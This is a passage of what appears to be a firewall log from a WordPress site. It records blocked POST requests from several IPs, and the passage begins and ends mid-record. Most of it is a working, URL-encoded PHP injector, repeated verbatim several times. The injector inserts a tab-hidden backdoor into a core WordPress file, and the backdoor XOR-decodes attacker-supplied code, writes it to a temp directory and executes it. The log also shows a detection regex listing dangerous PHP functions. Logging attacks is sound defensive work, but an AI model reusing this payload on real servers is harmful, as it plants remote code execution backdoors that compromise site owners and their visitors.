042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:40:53","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","60秒以内累计超过6次以上非法请求,封锁900秒","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE2pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:3852\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nGg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/class-wp-rest-response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2527%2527%2520%253Bfor%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524entry%2529%253B%2520%2524o%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524o%255D%2529%2520%255E%252043%2529%253B%257D%2520%2524record%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524parameter_group%2529%253A%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%2526%2526%2520is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524reference%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.fac%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524dchunk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:40:58","152.53.138.6","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/class-wp-rest-response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2527%2527%2520%253Bfor%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524entry%2529%253B%2520%2524o%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524o%255D%2529%2520%255E%252043%2529%253B%257D%2520%2524record%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524parameter_group%2529%253A%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%2526%2526%2520is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524reference%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.fac%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524dchunk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnztvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:3852\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\njh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/class-wp-rest-response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2527%2527%2520%253Bfor%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524entry%2529%253B%2520%2524o%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524o%255D%2529%2520%255E%252043%2529%253B%257D%2520%2524record%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524parameter_group%2529%253A%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%2526%2526%2520is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524reference%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.fac%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524dchunk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:42:03","118.139.167.171","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> SX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/class-wp-rest-response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2527%2527%2520%253Bfor%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524entry%2529%253B%2520%2524o%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524o%255D%2529%2520%255E%252043%2529%253B%257D%2520%2524record%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524parameter_group%2529%253A%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%2526%2526%2520is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524reference%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.fac%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524dchunk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH1tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\ncontent-length:3852\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nSX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/class-wp-rest-response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2527%2527%2520%253Bfor%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524entry%2529%253B%2520%2524o%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524o%255D%2529%2520%255E%252043%2529%253B%257D%2520%2524record%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524parameter_group%2529%253A%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%2526%2526%2520is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524reference%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.fac%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524dchunk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:42:08","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/class-wp-rest-response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2527%2527%2520%253Bfor%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524entry%2529%253B%2520%2524o%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524o%255D%2529%2520%255E%252043%2529%253B%257D%2520%2524record%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524parameter_group%2529%253A%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%2526%2526%2520is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524reference%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.fac%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524reference%252C%2520%2524dchunk%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524reference%253B%2520unlink%2528%2524reference%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLIpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-length:3852\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\naW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/class-wp-rest-response.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%2529%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx70%255Cx67rp%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2527%2527%2520%253Bfor%2528%2524o%253D0%253B%2520%2524o%253Cstrlen%2528%2524entry%2529%253B%2520%2524o%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524o%255D%2529%2520%255E%252043%2529%253B%257D%2520%2524record%